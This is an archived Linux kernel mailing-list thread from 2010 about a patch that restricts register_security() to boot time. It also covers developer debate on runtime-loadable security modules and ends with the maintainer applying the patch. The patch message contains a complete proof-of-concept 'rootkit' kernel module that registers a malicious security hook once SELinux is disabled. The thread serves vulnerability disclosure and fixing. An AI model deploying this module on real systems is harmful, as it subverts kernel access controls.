Skip to contentSkip to conversation

Security: Add __init to register_security to disable load a security module on runtime

PATCH In review [email protected] 3 participants 7 messages Feb 26, 2010 – Mar 2, 2010 Security (LSM)

lore
Share & tools
lore
#0 lore raw

PATCH 1/1 Security: Add __init to register_security to disable load a security module on runtime

LSM framework doesn't allow to load a security module on runtime, it must be loaded on boot time. but in security/security.c:
int register_security(struct security_operations *ops)

{
        ...
        if (security_ops != &default_security_ops)
                return -EAGAIN;
        ...
}

if security_ops == &default_security_ops, it can access to register a security module. If selinux is enabled, other security modules can't register, but if selinux is disabled on boot time, the security_ops was set to default_security_ops, LSM allows other kernel modules to use register_security() to register a not trust security module. For example:

disable selinux on boot time(selinux=0).

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/version.h>
#include <linux/string.h>
#include <linux/list.h>
#include <linux/security.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

extern int register_security(struct security_operations *ops); int (*new_register_security)(struct security_operations *ops);

int rootkit_bprm_check_security(struct linux_binprm *bprm)

{
        return 0;
}

struct security_operations rootkit_ops = {
.bprm_check_security = rootkit_bprm_check_security,
};

static int rootkit_init(void)

{
        printk("Load LSM rootkit module.\n");

	/* cat /proc/kallsyms | grep register_security */
        new_register_security = 0xc0756689;
        if (new_register_security(&rootkit_ops)) {
                printk("Can't register rootkit module.\n");
                return 0;
        }
        printk("Register rootkit module ok.\n");

        return 0;
}

static void rootkit_exit(void)

{
        printk("Unload LSM rootkit module.\n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);

---
 security/security.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)
security/security.c +1 -1
index 122b748..7da630a 100644
@@ -110,7 +110,7 @@ int __init security_module_enable(struct security_operations *ops)
  * If there is already a security module registered with the kernel,
  * an error will be returned.  Otherwise %0 is returned on success.
  */
-int register_security(struct security_operations *ops)
+int __init register_security(struct security_operations *ops)
 {
 	if (verify(ops)) {
 		printk(KERN_DEBUG "%s could not verify "
Signature · 1 line
1.6.5.3
#1 lore raw
Quoted 9 lines · Zhitong Wang

LSM framework doesn't allow to load a security module on runtime, it must be loaded on boot time. but in security/security.c:
int register_security(struct security_operations *ops)

{
        ...
        if (security_ops != &default_security_ops)
                return -EAGAIN;
        ...
}
Quoted 6 lines

if security_ops == &default_security_ops, it can access to register a security module. If selinux is enabled, other security modules can't register, but if selinux is disabled on boot time, the security_ops was set to default_security_ops, LSM allows other kernel modules to use register_security() to register a not trust security module. For example:

disable selinux on boot time(selinux=0).

That won't become a problem unless kernel command line is tampered. Giving permissions to tamper kernel command line is the problem.

There are malicious security modules, but non malicious in-tree security modules are bothered by two limitations since register_security() is not exported to kernel modules since 2.6.24 .

One is the size of vmlinux. Since all security modules have to be compiled into vmlinux, it makes difficult for distributors to include multiple security modules into vmlinux when there is vmlinux's size limitation. A well-known distributor is now considering including TOMOYO in addition to SELinux, but the size limitation of vmlinux seems to be the only problem that prevents inclusion.

The other is the support provided by distributors. Another well-known distributor's support policy is that "We don't provide any support if vmlinux or kernel modules provided by us are recompiled. But we provide support if kernel modules provided by third party are used without modifying vmlinux and kernel modules provided by us." This means that the only way to allow users to use TOMOYO with distributor's support is to convince the distributor to include TOMOYO into vmlinux. This is a very difficult problem since the distributor recommends SELinux.

Honestly speaking, I prefer register_security() being exported to kernel modules.

author
#2 lore raw
Quoted 2 lines

That won't become a problem unless kernel command line is tampered. Giving permissions to tamper kernel command line is the problem.

The user also can modify /etc/selinuc/config, set SELINUX=disabled.

Quoted 1 line

Honestly speaking, I prefer register_security() being exported to kernel modules.

New kernel doesn't export register_security() to kernel modules anymore. For some reason the user disabled selinux, so the malicious security modules have a chance to loaded on runtime. LSM original intention is not allowed to load security modules on runtime, right? But if selinux is disabled, they can.

Quoted 43 lines · Tetsuo Handa
Quoted 14 lines · Zhitong Wang

LSM framework doesn't allow to load a security module on runtime, it must be loaded on boot time. but in security/security.c:
int register_security(struct security_operations *ops)
{
        ...
        if (security_ops != &default_security_ops)
                return -EAGAIN;
        ...
}
if security_ops == &default_security_ops, it can access to register a security module. If selinux is enabled, other security modules can't register, but if selinux is disabled on boot time, the security_ops was set to default_security_ops, LSM allows other kernel modules to use register_security() to register a not trust security module. For example:

Quoted 1 line

disable selinux on boot time(selinux=0).

That won't become a problem unless kernel command line is tampered. Giving permissions to tamper kernel command line is the problem.

There are malicious security modules, but non malicious in-tree security modules are bothered by two limitations since register_security() is not exported to kernel modules since 2.6.24 .

One is the size of vmlinux. Since all security modules have to be compiled into vmlinux, it makes difficult for distributors to include multiple security modules into vmlinux when there is vmlinux's size limitation. A well-known distributor is now considering including TOMOYO in addition to SELinux, but the size limitation of vmlinux seems to be the only problem that prevents inclusion.

The other is the support provided by distributors. Another well-known distributor's support policy is that "We don't provide any support if vmlinux or kernel modules provided by us are recompiled. But we provide support if kernel modules provided by third party are used without modifying vmlinux and kernel modules provided by us." This means that the only way to allow users to use TOMOYO with distributor's support is to convince the distributor to include TOMOYO into vmlinux. This is a very difficult problem since the distributor recommends SELinux.

Honestly speaking, I prefer register_security() being exported to kernel modules.

#3 lore raw
Quoted 1 line · Zhitong Wang

LSM original intention is not allowed to load security modules on runtime, right?

My understanding is that the reason register_security() became no longer exported to loadable kernel modules is the difficulty of cleanly initializing/finalizing security modules since security modules usually allocate/release memory on various structures. When that change happened (i.e. as of 2.6.24), SELinux was the only in-tree LSM user.

Those security modules which needn't to allocate/release memory on various structures can be loaded on runtime, if register_security() is exported to loadable kernel modules.

If a distribution user adds a loadable kernel module (which is not a security module) which distributor didn't select, the user can get distributor's support except problems caused by that module.

However, due to limitation that security modules cannot be added as loadable kernel modules, when a distribution user wants to select security modules which distributor didn't select, distributor's support is no longer provided (i.e. not only problems caused by the security modules selected by the user but also problems caused by the rest of kernel and userland).

What's the difference between a kernel module which uses LSM and a kernel module which does not use LSM? Any kernel modules can cause severe problems.

My understanding is that LSM's original intention is to allow Linux users to select security modules. Why LSM places security modules under adverse condition?

author
#4 lore raw

Load a security module on runtime is not safe on SMP systems, LSM framework doesn't have any locks.

Quoted 29 lines · Tetsuo Handa
Quoted 1 line · Zhitong Wang

LSM original intention is not allowed to load security modules on runtime, right?

My understanding is that the reason register_security() became no longer exported to loadable kernel modules is the difficulty of cleanly initializing/finalizing security modules since security modules usually allocate/release memory on various structures. When that change happened (i.e. as of 2.6.24), SELinux was the only in-tree LSM user.

Those security modules which needn't to allocate/release memory on various structures can be loaded on runtime, if register_security() is exported to loadable kernel modules.

If a distribution user adds a loadable kernel module (which is not a security module) which distributor didn't select, the user can get distributor's support except problems caused by that module.

However, due to limitation that security modules cannot be added as loadable kernel modules, when a distribution user wants to select security modules which distributor didn't select, distributor's support is no longer provided (i.e. not only problems caused by the security modules selected by the user but also problems caused by the rest of kernel and userland).

What's the difference between a kernel module which uses LSM and a kernel module which does not use LSM? Any kernel modules can cause severe problems.

My understanding is that LSM's original intention is to allow Linux users to select security modules. Why LSM places security modules under adverse condition?

#5 lore raw
Quoted 2 lines · Zhitong Wang

Load a security module on runtime is not safe on SMP systems, LSM framework doesn't have any locks.

Unloading security module on runtime would be difficult. But loading security module on runtime is not impossible. A security module can be loaded inside initramfs if the security module provides appropriate lock.

When AppArmor get merged into mainline, do you want to bother distributors about size of vmlinux when some wants to use SELinux, some wants to use Smack, some wants to use TOMOYO, and some wants to use AppArmor. All of them have to be built-in but only one of them can be enabled.

I think we should allow security modules to be loaded on runtime, if security modules can provide appropriate lock for SMP-safe initialization.

maintainer
#6 lore raw
In reply to [email protected]
Quoted 2 lines · On Fri, 26 Feb 2010, [email protected] wrote:

Applied to
git://git.kernel.org/pub/scm/linux/kernel/git/jmorris/security-testing-2.6#next-queue

Quoted 20 lines
---
 security/security.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)
security/security.c +1 -1
index 122b748..7da630a 100644
@@ -110,7 +110,7 @@ int __init security_module_enable(struct security_operations *ops)
  * If there is already a security module registered with the kernel,
  * an error will be returned.  Otherwise %0 is returned on success.
  */
-int register_security(struct security_operations *ops)
+int __init register_security(struct security_operations *ops)
 {
 	if (verify(ops)) {
 		printk(KERN_DEBUG "%s could not verify "
Signature · 1 line
1.6.5.3
Signature · 2 lines
James Morris
<[email protected]>